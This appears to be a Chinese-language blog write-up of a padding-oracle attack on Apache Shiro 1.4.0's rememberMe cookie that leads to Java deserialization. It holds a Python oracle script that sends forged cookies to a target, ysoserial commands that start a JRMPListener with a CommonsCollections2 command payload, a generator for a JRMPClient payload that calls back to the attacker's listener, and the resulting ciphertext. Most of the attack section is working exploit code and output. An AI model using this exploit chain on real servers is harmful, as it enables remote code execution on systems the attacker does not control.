0%

Shiro v1.4.0反序列化

原理

shiro1.2.5后秘钥不再硬编码,但是采用CBC加密会产生padding oracle攻击,又因为java序列化结构体后可以加垃圾字符,所以攻击能够成功

解密时的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals // 不论哪个异常都会返回null,上层302跳转
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[] encrypted, byte[] key, byte[] iv)
org.apache.shiro.crypto.JcaCipherService#crypt(byte[] encrypted, byte[] key, byte[] iv, int MODE):
org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[] encrypted):459 //throw Unable to execute 'doFinal' with cipher instance
javax.crypto.Cipher#doFinal(byte[] encrypted) //this=(key+iv+mode) // jce.jar包 调试直接在这下断点
com.sun.crypto.provider.AESCipher#engineDoFinal(byte[] encrypted, startIdx, len)
com.sun.crypto.provider.CipherCore#doFinal(byte[] encrypted, startIdx, len)
com.sun.crypto.provider.CipherCore#fillOutputBuffer(encrypted, startIdx, iv, startIdx, len, encrypted)
com.sun.crypto.provider.CipherCore#unpad(len, decrypted)
com.sun.crypto.provider.PKCS5Padding#unpad(decrypted, startIdx, len) // throw BadPaddingException
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize(serialized)
org.apache.shiro.io.DefaultSerializer#deserialize(serialized) // invalid stream header

Padding Oracle 原因

理论上即使padding通过,反序列化也会失败,统一报错并返回null。因为不管是Padding正确或是错误返回结果无区别,因此无法造成PaddingOracle。

但是注意到,若当字符串A可以成功反序列化,B为垃圾字符串,则A+B可以成功反序列化(这与java原生序列化数据结构有关),因此去掉SESSIONID后,在正常的rememberMe后面添加block,即rememberMe=prefix+iv+secret:

padding

请求后:

  • 如果BadPaddingException

    • 返回重新登录(setCookie: DeleteMe=true)
  • 如果Padding合法

    • 与正常登录表现一样

因此存在Oracle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def shiro_decode(secret: bytearray, iv: bytearray) -> int:
burp0_url = "http://localhost.com:8000/"
#合法的rememberMe
prefix = base64.b64decode("wM0qqzm72M+...")

base64_ciphertext = base64.b64encode(prefix+iv+secret).decode()
burp0_cookies = {"rememberMe": base64_ciphertext}
logging.info("Sending secret={}".format(secret))
res=requests.get(burp0_url, cookies=burp0_cookies, allow_redirects=False)
set_cookie=res.headers.get('set-cookie','')
logging.info("Headers {}.".format(set_cookie))
if 'rememberMe' in set_cookie:
return -1
else:
return 0

JRMP攻击步骤

  1. 自己服务器起一个JRMPListener:

    1
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections2 'calc'
  2. 用padding生成密文,padding oracle脚本在https://github.com/Anemone95/padding-oracle-attack

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def shiro_padding_oracle():
    fake_plain=get_deserialized("127.0.0.1:1234")
    print(len(fake_plain))
    iv, secret=encrypt(fake_plain, 16)
    print(base64.b64encode(iv+secret))

    def get_deserialized(host):
    popen = subprocess.Popen(['java',
    '-jar',
    'ysoserial.jar',
    'JRMPClient',
    host],
    stdout=subprocess.PIPE)
    return popen.stdout.read()
  3. 返回结果:

    1
    2
    2019-08-07 17:39:10,651 : INFO : poc.py : encrypt : IV: 0f154f913ce794ad2c65ce9c0c2bd19e, Secret: d363571634286d600279fdf124069a65695e1c3338da0d27131b6c9362bece8f10796c1163d0c067713a46063ee25313325cb58eedd5cb62be1ed495bd1550974f008df6486bfd0fe24e5a04bd3fb090f036451821303e6b808034e4392c1225bf5a7a5e3eb9fab7b055c809330f83db7a561a2ac4e95f8d16c9bfbe66b35774c16cbb3089e54b63c4d8f86b490dca0f8f1ac46cd4ab2b41645b1909b7fdb4a5c21f15033b6f7dc30b3308ee8f2fb5bf220f38355bbfed92be9431a4127034a967f507f8fc582a00dae5c013263507cb54b08694cba7ef998145147ce8419cc5a665462c2d3b91fb259629d2289e31e9d3c407a02d382df90ac62a7c1b35b08767cbe3541a74987280dff8a541aa20b700000000000000000000000000000000
    b'DxVPkTznlK0sZc6cDCvRntNjVxY0KG1gAnn98SQGmmVpXhwzONoNJxMbbJNivs6PEHlsEWPQwGdxOkYGPuJTEzJctY7t1ctivh7Ulb0VUJdPAI32SGv9D+JOWgS9P7CQ8DZFGCEwPmuAgDTkOSwSJb9ael4+ufq3sFXICTMPg9t6VhoqxOlfjRbJv75ms1d0wWy7MInlS2PE2PhrSQ3KD48axGzUqytBZFsZCbf9tKXCHxUDO299wwszCO6PL7W/Ig84NVu/7ZK+lDGkEnA0qWf1B/j8WCoA2uXAEyY1B8tUsIaUy6fvmYFFFHzoQZzFpmVGLC07kfsllinSKJ4x6dPEB6AtOC35CsYqfBs1sIdny+NUGnSYcoDf+KVBqiC3AAAAAAAAAAAAAAAAAAAAAA=='